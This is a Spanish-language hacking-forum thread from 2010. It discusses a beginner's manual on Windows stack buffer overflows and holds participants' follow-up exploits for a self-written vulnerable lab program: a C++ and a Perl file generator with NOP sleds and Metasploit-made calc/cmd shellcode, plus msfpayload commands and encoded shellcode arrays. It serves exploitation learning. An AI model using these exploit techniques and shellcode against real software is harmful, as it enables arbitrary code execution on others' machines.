Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: ikary en 8 Febrero 2010, 19:11 pm



Título: [Manual] Buffer Overflow en Windows
Publicado por: ikary en 8 Febrero 2010, 19:11 pm
Bueno, pues finalmente me decidí a crear un manual de Buffer Overflow en Windows. ;-)

El manual describe de forma muy simple, con imagenes y palabras poco tecnicas, la creación y explotación de un programa vulnerable a BoF.

El manual está orientado a la gente que empieza, se explica el uso de Ollydbg, la pila, creacion de un exploit, uso y como conseguir una shellcode, como introducirla...etc.

Vamos, a mi entender, incluye lo basico y esencial para comenzar a dar los primeros pasitos en este tema.

Os dejo el Indice del documento.

Citar
INTRODUCCION                  2

DEBUGGER OLLY                  3

   Ventana de Desensamblado         4
   
   Ventana de Registros            5
   
   Ventana de Stack (pila)            6

OVERFLOW (EXPLICACION)            7

CREANDO UN PROGRAMA VULNERABLE   8

HACIENDO OVERFLOW               10

ENCONTRANDO EIP               13

BUSCANDO UN RETORNO             16

CREANDO UN EXPLOIT               17

EXPLOTANDO! (FUNCION OCULTA)      18

CREANDO UNA SHELLCODE            20

MODIFICANDO EL EXPLOIT            21

EXPLOTANDO! (CON SHELLCODE)      23

DESPEDIDA Y REFERENCIAS            24

Bueno, espero que le hecheis un vistazo y me comentais que tal.

Rapidshare: http://rapidshare.com/files/354973639/Buffer_Overflow_Windows_por_Ikary.pdf (http://rapidshare.com/files/347817083/Buffer_Overflow_Windows_por_Ikary.pdf)
Mediafire: http://www.mediafire.com/?mnylmt2iyzn (http://www.mediafire.com/?nydmuyywtj2)
Scribd: http://www.scribd.com/doc/27365589 (http://www.scribd.com/doc/27365589)
SkyDriver: Buffer_Overflow_Windows_por_Ikary.pdf (http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/papers/Heur%C3%ADstica%20y%20Explotaci%C3%B3n%20de%20vulnerabilidades/Buffer%5E_Overflow%5E_Windows%5E_por%5E_Ikary.pdf) -Anon-
Megaupload: http://www.megaupload.com/?d=9QXSPT20 (http://www.megaupload.com/?d=9QXSPT20) -peibol0.1-

Un saludo.


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Shell Root en 8 Febrero 2010, 19:47 pm
Joder, Rapidshare, es una *****, podrias subirlo a otro hosting, Mediafire yo que sé


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ikary en 8 Febrero 2010, 19:59 pm
Dicho y hecho :D


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Shell Root en 8 Febrero 2010, 20:03 pm
Thanks! Downloading...

Edit: Está Very Nice!


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ikary en 8 Febrero 2010, 20:25 pm
Edit: Está Very Nice!

Gracias ShellRoot  ;)

Por cierto, olvidé añadir a las referencias un manual de Ollydbg muy bueno y me acavo de dar cuenta  :-[

Lo pongo aqui y voy a editar el pdf.

Link: http://usuarios.multimania.es/elmundounderground/Textos/Cracking/Ollydbg.rar (http://usuarios.multimania.es/elmundounderground/Textos/Cracking/Ollydbg.rar)

Edito: Ya esta actualizado el pdf  ;-)

Un saludo


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 8 Febrero 2010, 23:38 pm
Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD.

Muchas Gracias!!!

Saludos



He hecho un mirror en SkyDriver  :¬¬ no me vean feo por favor.

Por lo menos ahí no salen pop ups

Buffer_Overflow_Windows_por_Ikary.pdf (http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/papers/Heur%C3%ADstica%20y%20Explotaci%C3%B3n%20de%20vulnerabilidades/Buffer%5E_Overflow%5E_Windows%5E_por%5E_Ikary.pdf)

ikary, si haces alguna otra modificacion del manual cosas que creo me avisas para reaculizar mi link xD


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ikary en 11 Febrero 2010, 01:24 am
Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD


XDDDD
Gracias Anon  ;D

Ahora estoy preparando todo para hacer el video y terminar de modificar algunas cosillas que me han ido diciendo por privado.
Cuando termine con el CEH intentare hacer uno parecido pero en remote  :silbar:

PD: agrego tu link al post principal.

Un saludo


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ~ Yoya ~ en 11 Febrero 2010, 02:25 am
Bueno, aunque no uso window  desde hace tiempo, vi estubo muy bien documentando, y la explicacion de las memoria igual xD.


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: peib0l en 11 Febrero 2010, 10:58 am
Excelente manual para nobatos como yo :P :P

te e subido el archivo a Mega

mirror: http://www.megaupload.com/?d=9QXSPT20


Salu2


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ikary en 12 Febrero 2010, 01:59 am
Bueno, aunque no uso window  desde hace tiempo
El manual lo enfoqué en sistemas Windows por la poca documentacion en español que habia sobre este ataque. Además que considero muy importante conocer los metodos de explotacion no solo de un tipo especifico de SO, nunca sabes lo que te vas a encontrar durante un ataque real. Los extremos no son buenos  :silbar:
Citar
vi estubo muy bien documentando, y la explicacion de las memoria igual xD.
Citar
Excelente manual para nobatos como yo  :P:P
Gracias ^^ me alegro que le sirva de algo a alguien  :D
Citar
te e subido el archivo a Mega
Gracias, lo añado al post principal ^^

Un saludo


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: << Lucas, ¿quién más? >> en 12 Febrero 2010, 12:50 pm
No lo leí todo, pero hasta donde iba leyendo está excelente  :xD


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: soez en 14 Febrero 2010, 17:41 pm
Ikary te felicito por el tuto!!  :)
y bueno despues de hacer el tutorial en mi pc no me termina de salir :-/
Lo de que aparezca la funcion oculta si me sale, pero yo metiendole mi propio payload para calc.exe sacado de metasploit no me termina de salir, te pongo el codigo y alguna foto a ver si ves algo

Código:
#include <cstdlib>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
    char ret[] = "\x58\xFA\x22\x00";
    char nops[] =
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
                "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
                
    unsigned char shellcode[] =
                "\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74"
                "\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf"
                "\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6"
                "\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33"
                "\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96"
                "\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56"
                "\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09"
                "\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71"
                "\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2"
                "\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42"
                "\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05"
                "\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01"
                "\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f"
                "\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c"
                "\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c"
                "\x02\x1c";


                  
    cout << "Creando exploit\n\n";
    ofstream fichero;
    fichero.open("archivo.txt");
    fichero << nops << shellcode << ret ;
    fichero.close();
    cout << "ya esta!!!";

    return 0;
}

(http://img682.imageshack.us/img682/2195/vulnerable.th.png) (http://img682.imageshack.us/i/vulnerable.png/)

El programa vulnerable es el mismo que el del tutorial, vamos que con 316 caracteres deberia llegar al EIP sin embargo...

(http://img186.imageshack.us/img186/7189/vulnerable2.th.png) (http://img186.imageshack.us/i/vulnerable2.png/)

PD. El ret es la direccion de memoria donde empieza el shell code no? Digamos que hace como un pequeño loop para ejecutarse? Saludos y gracias

PD2. 89 nops y 227 tamaño del shell code


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 14 Febrero 2010, 18:17 pm
Muchas veces las cosas cambian de un sistema a otro tanto el SP y otras cosas pueden hacer que el programa varie, también la versión del compilador y demas cosas.

Si se a leido todo el texto, solo necesitaras depurar un poco para que las cosas que estan saliendo mal se resuelvan.

Saludos


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: soez en 14 Febrero 2010, 18:28 pm
Lo sé de hecho con la funcion oculta la direccion de memoria a la que apuntaba era otra y fue la que puse y asi me salió, no lo he calcado y bueno siguiendo el tutorial si no he entendido mal habia que coger la direccion de la pila donde empieza el payload y asi lo he hecho como muestro en la imagen. La duda que tengo aparte de si se ve algun error en lo que hice, es que hay que meter el codigo de la accion que queremos lograr (payload si mal no entiendo) dentro del todo el shell code y por ultimo ponerle la direccion EIP=(ret) en el tuto de nuevo el trozo donde empieza el payload dentro del shell code con lo que queremos lograr cierto? Quiero decir que si el shell code esta compuesto de nops+payload+ret cuando ejecutamos el exploit se ejecutan los 3 y la direccion ret tiene que apuntar de nuevo al payload dentro del shell code no? Saludos

PD. Aclararme si estoy equivocado en los conceptos  :P


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 14 Febrero 2010, 18:47 pm
Así es la dirección que tu pones en en tu código como RET debe de sobrescribir el ret de la función, para que cuando retorne a la función que lo llamo, retorne en su lugar a tu dirección de RET asi siempre y cuando la dirección que le pasaste apunte a uno de los nops o al primer byte del payload se ejecutara, aqui cabe mencionar que hay veces que no es necesario usar nops, es solo para tener mas pista de aterrizaje xD

Saludos


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: soez en 14 Febrero 2010, 18:58 pm
Aun no me queda muy claro el retorno, el retorno es justo la direccion a la que apunta en cuanto se produce el overflow no?la que ponemos nosostros no? la direccion de retorno del programa normal de que sirviria? Saludos


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 14 Febrero 2010, 19:56 pm
No sirve de nada, por eso se sobrescribe xD




Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: soez en 14 Febrero 2010, 20:08 pm
Vale xD muchas gracias Anon por las dudas ya me voy empapando :) a ver si le pego un segundo asalto y me termina de salir lo de la calculadora. Saludos!!


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: micky123 en 15 Febrero 2010, 17:32 pm
descargandoo..... :) :)


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 15 Febrero 2010, 22:00 pm
ikary ahora que lo recuerdo, pudistes explotar el vulnerable mediante la linea de comando (los argumentos) ??'

Saludos


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: PHAMTOM en 16 Febrero 2010, 06:14 am
  :D :D :D :D :D ...

Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF , para la gente que no se lleva bien con C++ , o C , aca le dejo un exploit para este programa vulnerable, que ejecuta el payload CMD , programado el perl ..

Funciona para buffer 700 , ya que cambie el 300 por 700 en el programa vulnerable C++

{
char buff[700] = "Datos";
strcpy(buff,cptr);
printf("%s\n\n",buff);
return 0;
}

EXPLOIT :

Código:
#1----------------------------------------------------------------------------
my $nopp="\x90" x 263;
my $shellcode =
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";



#1---------------------------------------------------------------------------
my $exploit=$nopp.$shellcode;
my $file = "archivo.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );

print "Archivo.txt generado con exito,prosiga habriendo la aplicacion vulnerable.-\n"




(http://www.arribalafoto.com/public/22010/asdasdasdasd123asd.jpg)


PD : NO ANDA LA WEB DE PAYLOADS DE METASPLOIT :'(, LA TUBE QUE GENERAR DESDE EL PROGRAMA MSF.


PHAMTOM


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 16 Febrero 2010, 06:23 am
Hola que tal H-PHAMTOM

Una preguntilla, por que cambiar el buffer de 300 a 700?

Saludos




Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: PHAMTOM en 16 Febrero 2010, 06:25 am
Hola que tal H-PHAMTOM

Una preguntilla, por que cambiar el buffer de 300 a 700?

Saludos




Porque estuve viendo el manual y utilize el algoritmo de restar el numero del buffer desbordado, al  size del shellcode...

shellcode = 453 size
Buffer = 716 Escribiendo eip.
716-453 = 263..

Saludos..



Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 16 Febrero 2010, 07:06 am
a ok, era eso entonces, aunque si para el calc.exe se ocupo 164 bytes por que para el cmd.exe se necesitan 453 xD, segun recuerdo para el cmd.exe se necesita un mínimo de 29 bytes o algo asi recuerdo segun el texto de rojodos que se cita en el mismo documento de ikary.

Eso de general shellcodes mediante herramientas, esta bien cuando tenemos prisa, sin embargo en etapas de aprendizaje es bueno saber de donde vienen.

Seria interesante usar esa misma shellcode que muestras sin nececidad de cambiar el tamaño del buffer del programa vulnerable

Saludos



Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: PHAMTOM en 16 Febrero 2010, 07:09 am
Si voy a probar,el temá es que en la pagina de metasploit,en la parte de payloads,creo que se encuentran mejores payloads,pero como esta offline en este momento la pagina , tube que inprovisar de donde sacar una  :xD,por lo que acudi a metasploit framework 3 , con el comando :

./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl


y para la calc :


./msfpayload windows/exec CMD=calc Raw | ./msfencode -e x86/alpha_mixed -t perl

Mañana nos escribimos,me voy a ZzZ...

Saludos,PHAMTOM.-




Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 16 Febrero 2010, 08:25 am
He ikary, pues no se cual era el problema con los parámetros y el Olly, pero ya ahorita te digo que solo ocupas saber con cuantos bytes sobrescribes EIP y con eso solo ocuparías las direcciones de system y de JMP esp

Con eso he logrado ejecutar el cmd.exe. Claro que tube problemas, lo explico en el post anterior.


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ikary en 16 Febrero 2010, 15:00 pm
Gracias Anon ^^
Ya he estado mirando el otro post, voy a probar lo que dices a ver, por que la verdad es que me quedé con las ganas de sacarlo por parametros. :P

PHAMTOM:
Citar
creo que se encuentran mejores payloads

Realmente es todo lo contrario, si no, fijate en tu shellcode:
Código:
"\x89\xe0\xd9\xc0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x49\x6c\x4d\x38\x4d\x59\x45\x50\x47\x70\x43" .
"\x30\x45\x30\x4f\x79\x4b\x55\x46\x51\x49\x42\x50\x64\x4c" .
"\x4b\x50\x52\x50\x30\x4e\x6b\x51\x42\x44\x4c\x4c\x4b\x50" .
"\x52\x46\x74\x4e\x6b\x42\x52\x45\x78\x44\x4f\x4c\x77\x50" .
"\x4a\x46\x46\x50\x31\x49\x6f\x44\x71\x4f\x30\x4e\x4c\x47" .
"\x4c\x43\x51\x51\x6c\x44\x42\x46\x4c\x51\x30\x4f\x31\x48" .
"\x4f\x44\x4d\x47\x71\x4b\x77\x49\x72\x4a\x50\x50\x52\x51" .
"\x47\x4c\x4b\x51\x42\x46\x70\x4e\x6b\x42\x62\x47\x4c\x47" .
"\x71\x48\x50\x4c\x4b\x47\x30\x42\x58\x4d\x55\x4f\x30\x44" .
"\x34\x51\x5a\x45\x51\x48\x50\x42\x70\x4e\x6b\x43\x78\x45" .
"\x48\x4c\x4b\x50\x58\x47\x50\x47\x71\x4e\x33\x4a\x43\x47" .
"\x4c\x47\x39\x4e\x6b\x45\x64\x4c\x4b\x43\x31\x48\x56\x46" .
"\x51\x49\x6f\x44\x71\x4b\x70\x4c\x6c\x49\x51\x48\x4f\x46" .
"\x6d\x47\x71\x48\x47\x46\x58\x4d\x30\x42\x55\x48\x74\x43" .
"\x33\x51\x6d\x48\x78\x47\x4b\x43\x4d\x51\x34\x50\x75\x4d" .
"\x32\x42\x78\x4c\x4b\x42\x78\x45\x74\x45\x51\x4a\x73\x51" .
"\x76\x4e\x6b\x44\x4c\x42\x6b\x4e\x6b\x51\x48\x45\x4c\x46" .
"\x61\x4b\x63\x4c\x4b\x45\x54\x4e\x6b\x46\x61\x4a\x70\x4b" .
"\x39\x47\x34\x45\x74\x45\x74\x51\x4b\x51\x4b\x50\x61\x46" .
"\x39\x51\x4a\x42\x71\x4b\x4f\x4d\x30\x42\x78\x51\x4f\x42" .
"\x7a\x4e\x6b\x46\x72\x48\x6b\x4f\x76\x43\x6d\x43\x5a\x46" .
"\x61\x4c\x4d\x4d\x55\x4c\x79\x43\x30\x47\x70\x43\x30\x50" .
"\x50\x45\x38\x45\x61\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x4b" .
"\x65\x4f\x4b\x49\x70\x47\x6d\x47\x5a\x45\x5a\x51\x78\x4f" .
"\x56\x4f\x65\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x45\x6c\x47" .
"\x76\x51\x6c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x44\x35\x43" .
"\x35\x4f\x4b\x43\x77\x46\x73\x50\x72\x42\x4f\x50\x6a\x47" .
"\x70\x51\x43\x49\x6f\x4b\x65\x45\x33\x42\x4d\x42\x44\x45" .
"\x50\x44\x4a\x41\x41";

Y en la de Anon:

Código:
"\x55\x8B\xEC\x33\xC9\x51\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\x88\x4D\xFB\x8D\x45\xF8\x50\xBB\xc7\x93\xbf\x77\xFF\xD3"

Hay demasiada diferencia para dos shellcodes que hacen lo mismo ¿no crees? ^^

Para mi manual utilicé las shellcodes de metasploit para hacerlo mas rapido, ya que el manual se basaba mas bien en el concepto de BoF que en la creacion de shellcodes (el manual de Rojodos ya lo explicaba con bastante claridad)
Te recomiendo, si no lo has echo aun, que leas el manual de Rojodos y aprendas a crear tus propias shellcodes, ya que pocas veces vas a encontrar 700 bytes en un programa explotable real.

Citar
Muy bueno ikary, buenisimo el manual,ahi termine de aprender Local BoF

Gracias PHAMTOM, me alegra que te haya servido ^^

Un saludo


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Ivanchuk en 16 Febrero 2010, 15:55 pm
Buenas gente,

Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.

Muy buen manual Ikary ::).


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: PHAMTOM en 17 Febrero 2010, 03:12 am
Buenas gente,

Solo decir que phantom la paso por un encoder, por eso le quedo ese chorizo ;D.
./msfpayload windows/exec CMD=cmd Raw| ./msfencode -e x86/alpha_mixed -t perl
Phantom, dejala asi nomas si no tenes ninguna restriccion de entrada del programa vulnerable. El unico caracter que te molesta es el null.

Muy buen manual Ikary ::).

Es qué por eso mismo le hago un " encode " , por los caracteres null's.

PHAMTOM


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: AlbertoBSD en 17 Febrero 2010, 03:35 am
ese alpha_mixed solo te devuelve una Shellcode Alfanumerica, por eso te sale asi.

Por lo que veo es bastante facil generar shellcodes xDD

Código
  1. Anon@localhost % msfpayload windows/exec CMD=cmd Raw | msfencode -a x86 -b '\x00' -t c
  2. [*] x86/shikata_ga_nai succeeded, final size 144
  3.  
  4. unsigned char buf[] =
  5. "\x33\xc9\xb1\x1e\xba\xb1\xfc\x90\xfb\xdd\xc1\xd9\x74\x24\xf4"
  6. "\x5e\x31\x56\x0f\x83\xc6\x04\x03\x56\xba\x1e\x65\x07\x54\x9a"
  7. "\x86\xf8\xa4\xa8\xc2\xc4\x2f\xd2\xc9\x4c\x2e\xc4\x59\xe3\x28"
  8. "\x91\x01\xdc\x49\x4e\xf4\x97\x7d\x1b\x06\x46\x4c\xdb\x90\x3a"
  9. "\x2a\x1b\xd6\x45\xf3\x56\x1a\x4b\x31\x8d\xd1\x70\xe1\x76\x1e"
  10. "\xf2\xec\xfc\x41\xd8\xef\xe9\x18\xab\xe3\xa6\x6f\xf4\xe7\x39"
  11. "\x9b\x80\x0b\xb1\x5a\x7c\xba\x99\x78\x86\x7f\x7e\xb0\x70\x1f"
  12. "\xd7\xd6\xf7\x99\xe7\x9d\x48\x29\x83\xd2\x54\x9c\x18\x7a\x6d"
  13. "\x57\xe6\xf8\xad\x0d\x47\x97\xdd\x5b\x63\x38\x76\xc3\x92\x4c"
  14. "\x88\xa4\x95\xb6\xf6\x27\x0e\x39\xf3";
  15.  

Esa también sirve son 144 bytes

Solo se usa el -e x86/alpha_mixed cuando hay un filtro alfanumérico

Saludos


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: St3nK en 26 Marzo 2010, 04:24 am
ola me pasas el archivo o subelo  porfa ami me interesa los atakes por overflow :(


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ikary en 26 Marzo 2010, 16:54 pm
ola me pasas el archivo o subelo  porfa ami me interesa los atakes por overflow :(

 :huh: :huh:

Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254 (http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254)

Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos  :silbar:

Un saludo


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Debci en 29 Marzo 2010, 20:47 pm
ola me pasas el archivo o subelo  porfa ami me interesa los atakes por overflow :(

 :huh: :huh:

Esta subido a varios servidores en el post principal
http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254 (http://foro.elhacker.net/bugs_y_exploits/manual_buffer_overflow_en_windows-t283879.0.html;msg1401254#msg1401254)

Por cierto, aprobecho ya para contaros que ya esta en marcha el manual de BoF en Remoto.
Intentaré hacerlo conjuntamente con HoF ya que local y remoto son bastante parecidos  :silbar:

Un saludo
Como ya te dije, lo espero con ansias corrosivas...
DATE PRISA!!!!
XD

Saludos y gracias por tus aportes


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: EvilGoblin en 16 Abril 2010, 20:02 pm
Esperando la 2da version ^^ me gusto!


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: XDelphix en 26 Abril 2010, 00:20 am
Muy bueen! manual! con esto aclare varias cosas! =)...sin embargo...cuando estaba probando el codigo en el ollydbg...no visualizo el printf del "Este texto nunca deberia de haberse mostrado".....esto corresponde a la pagina 16 del manual....mi .exe lo he generado con el c++ builder 6.....no se cual es el problema...gracias...


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: soez en 26 Abril 2010, 03:16 am
Fijate bien, esta un poquito mas abajo del strcpy  ::)


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: ahkbar87 en 18 Junio 2010, 05:22 am
           Hola, estaba haciendo el BoF con un programa vulnerable creado con VS 2010 en Win 7, y cuando intento modificar el offset lo hace, pero no siempre, la modificación es variable, y no se de que depende, alguien a logrado realizar esto en Win 7?.


A por cierto, buen manual de introducción, gracias, pero estoy pegado en lo del offset :S,

update:
!!!! Jaaaaaaaaaaaaaa  :D, ahora si que salio, me faltaba algo más de practica, si es que varia no importa, por que puedes agregar varias direcciones de retorno al final de la cadena y si no cuadra, le quitas o agregas NOPs (\x90), esta forma la hice después de leer HackxCrack N°26,  ;-)


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Blackhawk222 en 6 Agosto 2010, 18:59 pm
Lo esoy descargando a ver que tal.
Gracias y Saludos


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: S1dD3xt35 en 5 Octubre 2010, 09:12 am
descargando  ;D Gracias  ;-)


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Pafate en 18 Febrero 2011, 17:19 pm
Me tira un error Subsistema MS-DOS de 16 bits, me fije en google y ninguna de la solucion me funciono... la ultma solucion era hacer una virtual machine y correrlo con win 98(poniendole compatibilidad con Win82/ME).

Alguien sabe que tengo que hacer?.

PD: Si pudieran poner algun link de compilador C++ y Ollydbg se los agradeceria.


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: Garfield07 en 20 Febrero 2011, 15:55 pm
Hola Ikary! Creía que eras uno de los tantos usuarios que se merecen ser colaboradores que un día desaparecen y no vuelven a aparecer xD!

Hace ya tiempo encontré tu manual en Google, y creo que con decirte que gracias a tu manual aprendí a hacer buffers overflow basta para que entiendas que tu manual me ha servido muchísimo, lo califico de diez y dentro de todos los que he leído (incluyendo libros) tu manual se sitúa cómodamente en el segundo o tercer puesto. De ti he aprendido las bases de mis conocimientos sobre BoF, me has ayudado muchísimo, especialmente sobre la idea de FuncionOculta () a la que echaré mano en el taller de exploiting xD

PD: Si necesitas algo para la segunda entrega... xD
¡Un saludo y te espero ver mucho en el foro, compañero!
Sagrini


Título: Re: [Manual] Buffer Overflow en Windows
Publicado por: killr00t en 22 Abril 2011, 21:36 pm
